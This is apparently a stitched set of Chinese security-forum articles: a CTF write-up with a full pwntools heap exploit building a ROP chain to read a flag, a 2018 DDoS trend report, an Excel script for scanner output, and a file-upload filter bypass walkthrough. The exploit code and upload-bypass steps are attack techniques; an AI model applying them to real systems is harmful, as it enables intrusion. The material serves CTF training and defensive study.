主要就是根据 op 选择对应的功能，没有整数溢出等，这里主要关注 init_400DB3 这个函数，对于堆模拟的一个初始化
int init_400DB3()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( mmap(0LL, 0x1000uLL, 0, 34, -1, 0LL) == (void *)-1LL )// 随机mmap 内存
{
perror("mmap");
_exit(1);
}
manager_6020B8 = (__int64)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( manager_6020B8 == -1 )
{
perror("mmap");
_exit(1);
}
mmapsome_400866(0x3000uLL); // heap 块 0x3000
return seccomp_400BE4();
}
/*----------------------------------------------------------*/ void *__fastcall mmapsome_400866(size_t size)
{
void **top; // rbx
top = (void **)manager_6020B8;
*top = mmap(0LL, size, 3, 34, -1, 0LL);
if ( *(_QWORD *)manager_6020B8 == -1LL )
{
perror("mmap");
_exit(1);
}
*(_QWORD *)(manager_6020B8 + 8) = *(_QWORD *)manager_6020B8;
*(_QWORD *)(manager_6020B8 + 16) = size;
*(_QWORD *)(manager_6020B8 + 24) = 0LL;
return memset((void *)(manager_6020B8 + 0x20), 0, 0xFE0uLL);// 初始化
}
堆管理器的初始化，mmap 了一段 大小 0x1000 no rwx 的内存, 用于防止溢出
然后mmap 0x1000 rw 内存保存指针等，类似 arena
接着 mmap 0x3000 的 内存 作为 堆分配的区域 ， 并在 arena 里面保存好初始化指针,
使用 seccomp 限制只能使用 orw
在自己的电脑上测试是这样的
0x7ffff7ff2000 0x7ffff7ff6000 rw-p 4000 0
0x7ffff7ff6000 0x7ffff7ff7000 ---p 1000 0
pwndbg> x/10gx 0x7ffff7ff2000
0x7ffff7ff2000: 0x0000000000000000 0x0000000000000000
0x7ffff7ff2010: 0x0000000000000000 0x0000000000000000
0x7ffff7ff2020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff2030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff2040: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000
0x7ffff7ff5000: 0x00007ffff7ff2000/*heap 起始*/ 0x00007ffff7ff2000 /* top chunk 指针*/
0x7ffff7ff5010: 0x0000000000003000/*heap size*/ 0x0000000000000000 /* chunk number */
0x7ffff7ff5020: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
0x7ffff7ff5040: 0x0000000000000000 0x0000000000000000
arena 上 先保存 heap 的起始地址， top chunk 指针， 当前的heap 的size 固定 0x3000,
chunk number 也就是当前可用chunk 的数量
后面的每一次分配，都是在arena 里面保存起始指针以及size，类似下面
pointer | size
pointer | size
#### **allocate 函数**
int all_400F15()
{
unsigned int size; // eax
int result; // eax
__int64 p; // [rsp+0h] [rbp-10h]
__int64 v3; // [rsp+8h] [rbp-8h]
printf("size: ");
size = readint();
v3 = size;
if ( !size || (unsigned __int64)size + 16 < size )
return puts("invalid size");
p = mmap_alloc_400920(size + 16LL);
if ( !p )
return puts("failed to allocate memory");
*(_QWORD *)p = current_6020B0;
current_6020B0 = p;
*(_QWORD *)(p + 8) = v3;
result = p;
*(_BYTE *)(p + 0x10) = 0; // 防止信息泄露
return result;
}
allocate 的时候传入一个 size， 然后在 heap 上划分， size 都使用 unsigned int 来进行处理
整数溢出不可行，mmap_alloc_400920 是在 heap 上划分内存返回起始指针的操作
成功的话, 有一个 全局的 current 指针指向他，并将chunk 第一个 byte 置0
这样就不能show 内存泄露已有的数据了
总的来说就是 chunk 形成一个 单向链表，新来放在前面
对应的 index 根据和current 之间有多少个 chunk 来决定
chunk 结构类似下面
next pointer | size |
-------------------- |
data |
分配的过程如下
* 一开始: current ---> chunkA(0) -> chunkB(1)
* alloc new chunkC
* malloc 成功: current ---> chunkC(0) -> chunkA(1)-> chunkB(2)
再 mmap 块上分割内存的操作
__int64 __fastcall mmap_alloc_400920(unsigned __int64 size)
{
__int64 v2; // ST10_8
unsigned __int64 index; // [rsp+18h] [rbp-10h]
unsigned __int64 v4; // [rsp+20h] [rbp-8h]
v4 = size;
if ( !size )
return 0LL;
if ( size & 0xF )
v4 = (size & 0xFFFFFFFFFFFFFFF0LL) + 0x10; // 0x10 对齐
if ( v4 < size )
return 0LL; // manager+0x18 ==num
for ( index = 0LL; *(_QWORD *)(manager_6020B8 + 0x18) > index; ++index )
{ // 查看是否有free 的chunk
if ( !(*(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) & 1LL)// free 状态
&& *(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) >= v4 )
{ // &1==1 表示free
*(_QWORD *)(16 * (index + 2) + manager_6020B8 + 8) |= 1uLL;// 换成 allocated
return *(_QWORD *)(16 * (index + 2) + manager_6020B8);// 如果存在就返回这个地址
}
}
if ( *(_QWORD *)manager_6020B8 + *(_QWORD *)(manager_6020B8 + 0x10) < *(_QWORD *)(manager_6020B8 + 8) + v4 )// 防止溢出？
return 0LL;
v2 = *(_QWORD *)(manager_6020B8 + 8); // 返回当前top 位置
*(_QWORD *)(manager_6020B8 + 8) += v4; // top 向下移动
*(_QWORD *)(16 * (*(_QWORD *)(manager_6020B8 + 0x18) + 2LL) + manager_6020B8) = v2;// free 的时候num 没有减少，已经alloc 过的
*(_QWORD *)(manager_6020B8 + 16 * ((*(_QWORD *)(manager_6020B8 + 24))++ + 2LL) + 8) = v4 | 1;// 设置成 allocate
return v2;
}
总的来讲就是
* size 0x10 补全
* 找有没有 free 的 chunk, 有的话直接分配
* 检查要分配的size 加上 heap 起始为止是否会溢出到 arena
* 在 arena 里面保存好指针和 size,
内存分布如下， allocate 24 大小的 chunk, 最后一个 bit 为 1 表时 allocated 状态，为0 为free 状态
pwndbg> x/4gx 0x7ffff7ff2000
0x7ffff7ff2000: 0x0000000000000000 0x0000000000000018
0x7ffff7ff2010: 0x0000000000000000 0x0000000000000000
pwndbg> x/10gx 0x7ffff7ff5000
0x7ffff7ff5000: 0x00007ffff7ff2000 0x00007ffff7ff2030
0x7ffff7ff5010: 0x0000000000003000 0x0000000000000001
0x7ffff7ff5020: 0x00007ffff7ff2000 0x0000000000000031
0x7ffff7ff5030: 0x0000000000000000 0x0000000000000000
#### **edit 函数**
int edit_400FB3()
{
unsigned int index; // [rsp+Ch] [rbp-14h]
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
printf("index: ");
index = readint();
v2 = current_6020B0;
for ( i = 0; v2 && i < index; ++i )
v2 = *(_QWORD *)v2;
if ( !v2 )
return puts("not found");
printf("content: ");
return (unsigned __int64)fgets((char *)(v2 + 0x10), *(_QWORD *)(v2 + 8), stdin);// 根据已有的保存的 size
}
edit 函数根据chunk 头保存的size 来获取 input, 因为 fgets 只会接收 size-1 的数据，没有溢出
#### **show 函数**
int show_401051()
{
unsigned int index; // [rsp+Ch] [rbp-14h]
_QWORD *v2; // [rsp+10h] [rbp-10h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
printf("index: ");
index = readint();
v2 = (_QWORD *)current_6020B0;
for ( i = 0; v2 && i < index; ++i )
v2 = (_QWORD *)*v2;
if ( !v2 )
return puts("not found");
printf("memo no.%u\n", index);
printf(" size: %lu\n", v2[1]);
return printf(" content: %s\n", v2 + 2);
}
show 函数 根据 index 来，printf 用 %s 输出，没有什么问题。。。
#### **free 函数**
int del_401104()
{
int result; // eax
__int64 v1; // ST10_8
unsigned int index; // [rsp+4h] [rbp-1Ch]
_QWORD *v3; // [rsp+8h] [rbp-18h]
_QWORD *p; // [rsp+10h] [rbp-10h]
unsigned int i; // [rsp+1Ch] [rbp-4h]
printf("index: ");
index = readint();
if ( index )
{
v3 = 0LL;
p = (_QWORD *)current_6020B0;
for ( i = 0; p && i < index; ++i )
{
v3 = p;
p = (_QWORD *)*p;
}
if ( p )
{
*v3 = *p;
result = (unsigned __int64)mmap_freesome_400B0B((__int64)p);
}
else
{
result = puts("not found");
}
}
else if ( current_6020B0 )
{
v1 = current_6020B0;
current_6020B0 = *(_QWORD *)current_6020B0;
result = (unsigned __int64)mmap_freesome_400B0B(v1);
}
else
{
result = puts("not found");
}
return result;
}
这段代码没有什么，就是遍历 current 链表，找到对应 index 的chunk 主要看mmap_freesome_400B0B 这个函数
_QWORD *__fastcall mmap_freesome_400B0B(__int64 p)
{
_QWORD *result; // rax
unsigned __int64 i; // [rsp+18h] [rbp-8h]
if ( !p )
return result;
for ( i = 0LL; ; ++i )
{
if ( *(_QWORD *)(manager_6020B8 + 0x18) <= i )// 没有对应的项
_exit(1);
if ( *(_QWORD *)(16 * (i + 2) + manager_6020B8) == p )
break;
}
if ( !(*(_QWORD *)(16 * (i + 2) + manager_6020B8 + 8) & 1LL) )// no uaf
_exit(1);
result = (_QWORD *)(16 * (i + 2) + manager_6020B8 + 8);
*result &= 0xFFFFFFFFFFFFFFFELL;
return result;
}
传入一个 pointer, 搜索arena 里面是否有这个 pointer, 并 判断是否是 free 状态
allocated 状态 则置为 free状态返回pointer
### **漏洞分析 & 漏洞利用**
okay 到了这里，没有发现什么漏洞呀。。。代码的边界检查都做的挺好的，整数溢出，数组越界？内存未初始化？？
都找不到的样子。。
这里是一个 坑点，题目是 nc连 上去给你一个 shell 的本地利用的模式，本地利用自己只知道一个 ulimit ...
问题也就是出现在这里，stack 设置成 ulimited 的时候 mmap 的行为会不一样
<https://elixir.bootlin.com/linux/v4.12.14/source/arch/x86/mm/mmap.c>
static int mmap_is_legacy(void)
{
if (current->personality & ADDR_COMPAT_LAYOUT)
return 1;
if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
return 1;
///proc/sys/vm/legacy_va_layout
return sysctl_legacy_va_layout;
}
linux x86 x64 下mmap 有两种两种内存布局，一种是经典模式，一种是新的模式
mmap_is_legacy == 1 使用经典布局 - mmap 从低地址向高地址增长，也就是向栈方向增长
mmap_is_legacy ==0 使用新的模式- legacy 也 mmap bottom-up, 从高地址向低地址增长
current->personality 是 进程task_struct 的一个字段，主要用于处理不同的ABI
<http://man7.org/linux/man-pages/man2/personality.2.html>
rlimit(RLIMIT_STACK) == RLIM_INFINITY) 这一行就是判断 stack 的资源限制是不是设置成无限制
sysctl_legacy_va_layout 即 /proc/sys/vm/legacy_va_layout 的值
mmap 的实现还存在一些 CVE, 要找找时间复现一下，总之对于这道题目，因为 边界检查时基于
新的mmap 的布局的形式，所以假如改了这个内存布局，题目里面实现的边界检查就没用了，
可以造成溢出等效果，这里还有一个坑点。。
内核版本 4.13 之后 这个函数对于 stack 的判断被删除了,而自己的ubuntu 刚好又是 4.13 的内核，
比赛的时候蛋疼的调了很久就是达不到效果。。比赛的内核版本记得时 4.4.0-114
static int mmap_is_legacy(void)
{
if (current->personality & ADDR_COMPAT_LAYOUT)
return 1;
return sysctl_legacy_va_layout;
}
okay 找到了漏洞点，后面操作就比较简单了，总结一下利用思路如下
* ulimit -s unlimited mmap 变成经典内存布局
protect ---p
arena rw-p
heap rw-p
* 多次分配 arena 溢出 arena 指针 到 heap 上
* 修改 overlap 到 heap 上的 arena 指针，没开 pie, 任意地址泄露(泄露 heap, libc, stack)
* 修改指针任意地址写 (写哪里好呢？)
因为限制了只能用 orw 系统调用，又没有可执行段，所以想到的是用rop gadget 来读flag, libc地址已经知道了
几乎就是什么都可以干了
修改 exit got 到 pop pop pop ret 的gadget, 这样就可以调用exit的时候ret 到 main 的ret 地址
修改 ret 地址 hijack ebp 到 heap 上
heap 上写 orw gadget
* 调用 exit 触发 rop get flag
**exp 如下**
#coding:utf-8
from pwn import *
import sys
import time
file_addr='./rswc'
libc_addr='./libc.so.6'
host='172.16.13.11'
port=31348
binary=ELF(file_addr)
p=process(file_addr,env={"LD_PRELOAD":libc_addr})
if len(sys.argv)==3:
p=remote(host,port)
def menu(op):
p.sendlineafter('>',str(op))
def alloc(size):
menu(0)
p.sendlineafter('size:',str(size))
def edit(index,data):
menu(1)
p.sendlineafter('index:',str(index))
p.sendlineafter('content:',data)
def show(index):
menu(2)
p.sendlineafter('index:',str(index))
def delete(index):
menu(3)
p.sendlineafter('index:',str(index))
for i in range(0x100):
alloc(0x20)
def write_addr(index,target,data):
payload='a'*0x20
payload+=p64(target)+p64(0x200)
edit(index,payload)
edit(index,data)
# leak heap base
show(255)
p.recvuntil('content: ')
heapleak=u64(p.recv(6).ljust(8,'\x00'))
heap_base=heapleak-0x2fd0
p.info('heap_base'+hex(heap_base))
payload='a'*0x20
payload+=p64(binary.got['__libc_start_main']-0x10)+'\x20'
# leak libc base
edit(255,payload)
show(255)
p.recvuntil('content: ')
libcleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('libcleak'+hex(libcleak))
#
libc=ELF('./libc.so.6')
libc_base=libcleak-libc.symbols['__libc_start_main']
p.info('libc_base'+hex(libc_base))
# leak stack addr
payload='a'*0x20
payload+=p64(libc_base+libc.symbols['environ']-0x10)+p64(0x200)
edit(254,payload)
show(254)
p.recvuntil('content: ')
stackleak=u64(p.recv(6).ljust(8,'\x00'))
p.info('stackleak'+hex(stackleak))
ret_addr=stackleak-0x100
p.info('ret_addr'+hex(ret_addr))
# write exit got 2 ret
ppp_ret=0x00000000004012ce #0x00000000004012ce : pop r13 ; pop r14 ; pop r15 ; ret
pop_rbp_ret=0x00000000004007d0 #0x00000000004007d0 : pop rbp ; ret
leave_ret=0x0000000000400be2 #0x0000000000400be2 : leave ; ret
payload=p64(libc_base-0xe98)+p64(libc_base-0x210790)+p64(ppp_ret)
payload+=p64(libc_base+libc.symbols['puts'])
payload+=p64(libc_base+libc.symbols['mmap'])
payload+='flag\x00'
write_addr(253,binary.got['_exit']-0x20,payload)
ebp_base=heap_base+0xd0-8
# hijack ebp 2 heap
payload=p64(0)*2
payload+=p64(pop_rbp_ret)
payload+=p64(ebp_base)
payload+=p64(leave_ret)
write_addr(252,ret_addr-0x20+8,payload)
print hex(ret_addr)
pop_rdi_ret=libc_base+0x0000000000021102
pop_rsi_ret=libc_base+0x00000000000202e8
pop_rdx_ret=libc_base+0x0000000000001b92
pop_rax_ret=libc_base+0x0000000000033544
syscall_ret=libc_base+0x00000000000bc375
orw_payload=''
## open
orw_payload+=p64(pop_rdi_ret)+p64(ebp_base+0x108)
orw_payload+=p64(pop_rsi_ret)+p64(0x0)
orw_payload+=p64(pop_rdx_ret)+p64(0x0)
orw_payload+=p64(pop_rax_ret)+p64(0x2)
orw_payload+=p64(syscall_ret)
## read
orw_payload+=p64(pop_rdi_ret)+p64(0x3)
orw_payload+=p64(pop_rsi_ret)+p64(ebp_base+0x200)
orw_payload+=p64(pop_rdx_ret)+p64(0x30)
orw_payload+=p64(pop_rax_ret)+p64(0x0)
orw_payload+=p64(syscall_ret)
## write
orw_payload+=p64(pop_rdi_ret)+p64(0x1)
orw_payload+=p64(pop_rsi_ret)+p64(ebp_base+0x200)
orw_payload+=p64(pop_rdx_ret)+p64(0x30)
orw_payload+=p64(pop_rax_ret)+p64(0x1)
orw_payload+=p64(syscall_ret)
orw_payload=orw_payload.ljust(0x100,'z')
orw_payload+='flag\x00'
edit(251,orw_payload)
## get flag
#
raw_input('aaa')
p.interactive() | 社区文章 |
# 腾讯安全云鼎实验室：2018上半年互联网 DDoS 攻击趋势分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2018年上半年 DDoS 攻防仍如火如荼发展，以 IoT 设备为反射点的 SSDP 反射放大尚未平息，Memcached DDoS
又异军突起，以最高可达5万的反射放大倍数、峰值可达1.7 Tbps 的攻击流量成为安全界关注的新焦点[1]。DDoS
这一互联网公敌，在各种防御设备围追堵截的情况下，攻击者夜以继日地钻研对抗方法、研究新的攻击方式；而且往平台化、自动化的方向发展，不断增强攻击能力。腾讯安全云鼎实验室主要从2018年上半年
DDoS 攻击情况的全局统计、DDoS 黑色产业链条中的人员分工与自动化操作演进两个方面进行分析阐述。
此外，就目前企业用户面临的严峻的 DDoS 攻击威胁，腾讯云也提出了大禹 GDS 全球一体化 DDoS 防护体系，为用户的业务保驾护航。
## 一、全局统计分析
### 1.2013~2018年 DDoS 流量峰值情况
DDoS 攻击流量峰值每年都不断地被超越，上半年的一起Memcached DDoS攻击，其峰值1.7 Tbps 达到了一个新的高度。虽然已经关闭了大量的
Memcached 的UDP 端口，但其5万的反射放大倍数，仍使攻击者可利用少量未关停 UDP 端口的 Memcached
反射点，打出大流量攻击。所以在短短的三个月里，Memcached DDoS 已成为反射放大的一股主要力量。
（2013~2018年 DDoS 攻击流量峰值统计）
### 2.DDoS攻击行业分类情况
随着各行各业的互联网化，DDoS
的攻击面也越来越多，这里我们列出了14种主要行业。游戏行业因其日流水量最大、变现快，一直站在利益的风口浪尖上，当仁不让地成为 DDoS
首选的攻击目标，也是上半年各行业中遭受攻击最多的行业。值得关注的是在医疗、物联网、教育等传统行业互联网化后，也遭受到了不同程度的攻击，且呈上升的趋势。
在游戏行业当中，手机游戏已超过了 PC 客户端游戏成为了 DDoS 攻击的主要目标。H5 游戏的崛起，也成为了 DDoS
的关注点，占整体攻击的1.4%。这里我们首次把游戏的第三方服务归结到游戏中，游戏的飞速发展催生了大量的第三方服务商，包括但不限于游戏虚拟财产买卖平台、数据分析、电竞、美术/音乐外包、游戏云服务、游戏资讯等各个环节。
（2018上半年 DDoS 攻击行业分类情况）
### 3.DDoS 攻击的类型占比统计
在攻击类型中，反射放大占比最多，约为55.8%。 Memcached 作为今年三月以来的新兴反射放大力量，迅速被 DDoS
黑产界利用，其在整体的占比中也相当大。反射放大占比如此之多的一个原因是 DDoS 黑产的自动平台化，即无需人工干预，完全自动流程可完成攻击的所有操作。
SYN Flood 排名第二，一直是 DDoS 的主要攻击手法。随着 DDoS 黑产的平台化，SYN Flood
的载体也发生了改变，由海量的肉鸡渐渐转移到了发包机上（以伪造源 IP 的 SYN Flood 为主）。
HTTP Flood 作为7层攻击的主要方式，因为要建立完整的 TCP 连接，不能够伪造源
IP，所以还是以肉鸡侧发动攻击为主。但云鼎实验室监测发现，HTTP Flood
也开始向代理服务器和发包机发展。在互联网上获取海量的代理服务器相比肉鸡的抓取容易很多，以代理服务器频繁地变换真实的IP，再加上交互的模拟，可以使 HTTP
Flood 很难被发现。而发包机的方式，虽不能变换 IP ，但可以频繁变换 UserAgent 的内容，以突破针对 HTTP Flood 的防御。
（2018上半年 DDoS 攻击的类型统计）
下图给出了几种反射放大的反射源地域分布情况。从抽样数据统计可见，LDAP、NTP、Memcached 为主的反射源 Top
10的国家重合度很高，以美国、中国、欧洲国家为主。SSDP 反射源因 IoT 设备的问题，导致其地域分布有所不同。
（反射源地域分布抽样统计）
### 4.DDoS 所对应的C2地域分布
近年来国内的互联网安全措施持续加强。通过监控发现，在国内的C2渐渐有外迁的现象。还有一些持有高性能肉鸡的黑客，看到了虚拟货币的逐利远远大于
DDoS攻击，将一部分高性能肉鸡转去挖矿。鉴于以上原因针对用于 DDoS 的 C2 监控难度越来越大。
（C2服务器所在地域情况）
### 5.家族情况
通过对攻击家族的监控，主要以 Xorddos、Billgates 、Mayday 、Dofloo、Nitol、Darkshell 等家族为主。Xorddos
是发起攻击最多的家族，甚至每天多达上万次的攻击，攻击类型多以 SYN Flood 为主、其他攻击类型为辅的组合攻击。Nitol 家族是发起 HTTP
Flood 攻击最多的家族，还会输出 SYN Flood、ICMP Flood、TCP Flood
等攻击。以上家族攻击的统计中，针对各个行业的攻击都有涉猎，游戏行业无疑是攻击的首选。
### 6.被攻击IP的地域情况
DDoS 攻击目标按地域分布统计中，国外受攻击最多的国家是美国，其次是韩国、欧洲国家为主，DDoS 攻击的主要目标还是聚集在互联网发达的国家中。
（2018上半年国外遭受 DDoS 攻击地域分布）
在国内各省的统计来看，受到 DDoS 攻击较多的省份是长三角、珠三角和京津片区，即中国的互联网发达省份，其中以江浙两省最多。
（2018上半年国内遭受 DDoS 攻击地域分布）
### 7.每月百G以上攻击流量情况
以每月的超过百Gbps 的攻击次数统计来看，百Gbps 流量分层占比相差不多。100-200 Gbps 占比最大，基本都在75%以上，而超过300 Gbps
的流量攻击次数较少。
（2018上半年 DDoS 每月超过百 G 攻击占比情况）
### 8.攻击流量带宽分布情况
在攻击流量的分层统计上，1-5G 的攻击次数最多，占比约38%。通过统计可得到，大多数的攻击均为100 Gbps 以下的流量攻击，超过百G
的攻击累计占总攻击次数不到5%。整体的攻击流量平均峰值约在5.2 Gbps 左右。
（2018上半年 DDoS 分层流量的攻击次数统计）
### 9.攻击时长分布占比情况
在攻击时长来看，占比最多是1 min
以下的攻击，约占38.7%。其主要攻击方式是瞬时攻击，即以极大的流量直接瘫痪掉攻击的服务，导致大量用户掉线、延迟、抖动等。5-10 min
也占相当大比例，约28.7%。抽样统计得出，平均攻击时长约1 h，单次攻击最长时长约54天。
（2018上半年 DDoS 发起攻击的时长占比统计）
## 二、DDoS 黑色产业链条演进
我们从黑产中的人员分工与自动化操作两个方面进行 DDoS 发展的阐述。
### 1.传统 DDoS 攻击
早期的 DDoS 一般是黑客一个人的游戏，从工具开发、bot 传播、接单、攻击等都独自完成。随着互联网经济的飞速发展，网络攻击获利越来越多，催生了DDoS
攻击的大量需求，例如竞品的攻击、DDoS 勒索等。高额的利益便会催生对应工作的精细化分工，DDoS 的黑产也不例外。我们针对传统 DDoS
攻击的专业化人员分工进行分析：
发单人：也可以称为金主，是 DDoS 攻击后的直接获利者，提出攻击需求。
担保商：也可以称为中间人，是 DDoS
黑产中较出名的人物，在各个不同分工人员间做“信任”担保，与交易环节的资金中转工作。担保商也会自己架设接发单平台或即时通讯工具群等形式来扩大自己的知名度，带来更多的
DDoS 攻击业务。
接单人：也可以称为攻击手，通过操作 C2 服务器或发包机直接发起 DDoS 攻击。
流量商：通过担保商或直接将国外购买的流量服务器售卖给攻击手。
肉鸡商：手头上拥有大量的肉鸡资源，通过担保商或直接将肉鸡售卖/出租给攻击手。
黑客软件作者：开发 botnet 程序，反射放大程序等各种 DDoS 工具。
这样的多种分工，使 DDoS
在技术难度上被拆解，技术门槛降低，部署更容易。同时给互联网安全人员的分析与溯源带来更大的困难。在分析中我们发现，有一些人员也可能同时担当多个角色。
虽然这种比较早期的 DDoS 攻击分工已十分成熟，但还是存在一定的不足之处：
1）成单难以保障：担保商、接单人都具有不确定性，发单人付费后，可能会存在针对目标的攻击没有效果或根本没有发起攻击的情况，给发单人造成经济损失。
2）响应周期较长：从发单人提出需求到真正达到攻击效果，需经过发单人、担保商（或其搭建的各种对接平台/即时通讯工具群等）、接单人等几个环节，时间上需要几小时到几天不等。
3）攻击效果不能保证：攻击手一般手动远程操作 C2 服务器或发包机针对目标服务器进行攻击，攻击手所掌握的botnet
或发包机规模不同，攻击的流量达不到保证。
（传统DDoS的人员分工与攻击流程）
### 2.目前 DDoS 攻击
鉴于传统 DDoS 攻击的不足，促使了 DDoS 多个环节的自动化发展，页端 DDoS
攻击平台便是发展的结果之一。其高度集成管理，在成单率、响应时长、攻击效果等方面都得到了可行的解决。在人员分工上，有了新的发展：
担保商淡出 DDoS 黑产圈，发单人可直接在页端 DDoS
攻击平台下单、支付费用，且可以根据自己的攻击目标的情况选择攻击方式与流量大小，保障了百分之百的成单率。
攻击手已被自动化的攻击平台取代，不需要手动操作攻击。从发起攻击命令到真正开始攻击，一般延时在10s 左右，再也不用等几小时或几天了。
发包机提供人替代了流量商角色，且完成发包机的程序部署、测试，最终给出发包机的攻击类型、稳定流量、峰值流量等各种定量且稳定的攻击能力。稳定的攻击流量保障了最终的攻击效果。
站长成为了页端 DDoS 攻击平台的核心人员，进行平台的综合管理、部署、运维工作。例如：DDoS
攻击套餐管理、注册用户（金主）管理、攻击效果与流量稳定保障、后续的升级等。
（页端DDoS攻击平台的人员分工与自动化流程）
不同的页端 DDoS
攻击平台也有不同的实现，但其操作流程、核心功能都很相似。下图给出了其技术解读：从此图中可见，用户注册、套餐付费、攻击发起等在用户侧都可以完成，不需要其他人员参与。对比传统
DDoS
攻击来看，已完成了全自动的无人值守攻击方式。在图中调用传统肉鸡的攻击形式很少，主要是调用发包机的攻击方式。发包机中主要配置的是反射放大的各种程序和其对应的反射源列表，偶尔会有伪造源
IP 的 SYN Flood、动态变化 UserAgent 的 HTTP Flood (如 goldeneye 工具)。
（页端 DDoS 攻击平台）
## 三、总结与趋势展望
综上所述，上半年的 DDoS 攻击无论从流量的角度还是从次数的角度来看，都上升了一个新的高度。
DDoS 黑色产业链的人员与技术的演进降低了整体 DDoS 入门的门槛，在溯源监控中发现，有的 DDoS 黑产团伙平均年龄 20 岁左右，甚至有未满 16
周岁的学生也是其中的一员。
在 DDoS 的整体防御上，建议用户采用具备大带宽储备和 BGP 资源的云服务商防御方案。如腾讯云大禹拥有30线 BGP IP
接入资源，丰富的场景化防护方案。
随着智能 AI 设备与物联网的飞速发展， DDoS 的新宿主平台不断出现，DDoS 攻防战会越来越激烈。可以预期，2018年下半年 DDoS
会呈现出多样化的发展：
1）类似于 Memcached DDoS 的新反射放大方式会不断的被曝光与利用；
2）智能设备的发展会催生出新平台下的 botnet 产生，且这些平台基本防护措施薄弱，更成了DDoS 的温床；
3）随着打击 DDoS 力度的不断加大， P2P 式僵尸网络或半去中心化变种方式有望重回风口，让 DDoS 难于监控与溯源分析；
4）基于暗网的 DDoS 平台将逐渐替代目前流行的页端 DDoS 攻击平台，使其平台的存活时间更长。
引文：
[1] 1.7Tbps 流量: <https://asert.arbornetworks.com/netscout-arbor-confirms-1-7-tbps-ddos-attack-terabit-attack-era-upon-us/>
《2018上半年互联网DDoS攻击趋势分析》PDF下载：<https://share.weiyun.com/5rgeZ1G>
* * *
**云鼎实验室主要关注腾讯云安全体系建设，专注于云上网络环境的攻防研究和安全运营，以及基于机器学习等前沿技术理念打造云安全产品。** | 社区文章 |
## 记一次简单小脚本
**一、初衷**
使用过绿盟远程安全评估系统（RSAS
6.0）的小伙伴们都知道，在导出的excle中有个总表index.xls，这个表中缺少了漏洞描述和漏洞整改建议两列，这样就对需要整合成一个表的小伙伴头疼了，因为需要从一个漏洞对应的主机漏洞表中去找，各种复制粘贴，头疼。。。
**二、模块介绍**
脚本中使用到python3的xlwt、xlrd和xlutils三个模块，我们分别介绍一下。
* xlwt
字面意思可以看出是对xls文件的write，实际也是这样xlwt主要用来写excel，针对.xls格式，超出excel的单格内容长度上限32767，就会报错。
* xlrd
字面意思可以看出是对xls文件的read，对，xlrd主要用来读excel，针对.xls格式。
* xlutils
这个。。。字面意思我也猜不出来。xlutils结合xlrd可以达到修改excel文件目的，需要注意的是你必须同时安装这三个库。
**三、脚本介绍**
1.从导出的html总表中爬取系统名称（扫描时填写的任务名称）漏洞描述和整改建议写入xls文件中。
* 爬html部分代码
# 以只读的方式打开本地html文件
htmltxt = open(url_html, 'r',encoding='UTF-8')
htmlpage = htmltxt.read()
# 正则应用系统名称
a = '<th width="120">任务名称</th>.*?<td>'
b ='</td>'
name = re.compile( a +'(.*?)'+ b ,re.S|re.M)
res_name = name.findall(htmlpage)
* 写入xls文件
# 创建工作簿
book = xlwt.Workbook(encoding='utf-8')
# 创建工作表格
sheet = book.add_sheet('test',cell_overwrite_ok=False)
#单元格格式（borders边框，alignment格式，align自动换行，font字体，pattern：底色）
style0 = xlwt.easyxf('borders:left thin,left_colour 0x40,right thin,right_colour 0x40,top thin,top_colour 0x40,bottom thin,bottom_colour 0x40;alignment: horz center,vert center;font: name 宋体, color-index black,bold on,height 280;pattern: pattern solid, fore_colour dark_green_ega;align: wrap on; ')
#写入数据weite（1,2,3,4）参数1代表行，参数2代表列，参数3写入的数据，参数4单元格的格式
sheet.write(0, 0, '序号',style0)
sheet.write(0, 1, '系统名称',style0)
sheet.write(0, 2, '漏洞名称',style0)
#保存文件（保存在执行目录）
book.save('old.xls')
2.获取导出的xls总表中的漏洞名称，吧啦吧啦等你需要的列，然后打开步骤1中创建的xls文件，将这些获取的数据挨个放进去。
workbook = xlrd.open_workbook(url_xls)
# 根据sheet索引或者名称获取sheet内容
sheet = workbook.sheet_by_name('漏洞信息')
# 获取sheet的行数，以便进行添加和判断
nrows = sheet.nrows
# 获取整列的值（数组）
cols_5 = sheet.col_values(5) # 获取第五列内容
# 打开之前保存的xls，并保留原格式（formatting_info=True）
rb = xlrd.open_workbook('old.xls',formatting_info=True)
# 复制rb所有表格，再进行操作
wb = copy(rb)
# 获取sheet
cr = wb.get_sheet(0)
i = 2
while(i < nrows):
cr.write(i-1,4,cols_5[i],style1)
i += 1
os.remove('old.xls')
wb.save(res_name[0] +'.xls')
**四、感谢**
初次写工具，后期会一直进行优化,感谢大家的批评和指导。 | 社区文章 |
# 5.上传关
## **1.请上传一张jpg格式的图片**
url：<http://lab1.xseclab.com/upload1_a4daf6890f1166fd88f386f098b182af/>
上传一张后缀名为jpg的图片，上传抓包修改后缀名为别的，s或者直接删掉，放包
得到key is IKHJL9786#$%^&
## **2.请上传一张jpg格式的图片**
url：<http://lab1.xseclab.com/upload2_31cc2e024f91058a742d8bed95c7ca4f/>
上传一张后缀名为jpg的图片，上传抓包修改后缀名为php，放包
得到key is 76tyuhjsdvytig#$%^&
## **3.请上传一张jpg格式的图片**
url：<http://lab1.xseclab.com/upload3_67275a14c1f2dbe0addedfd75e2da8c1/>
上传一张后缀名为jpg的图片，上传抓包修改后缀名为jpg.php，放包
得到key is 76tyuh12OKKytig#$%^&
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
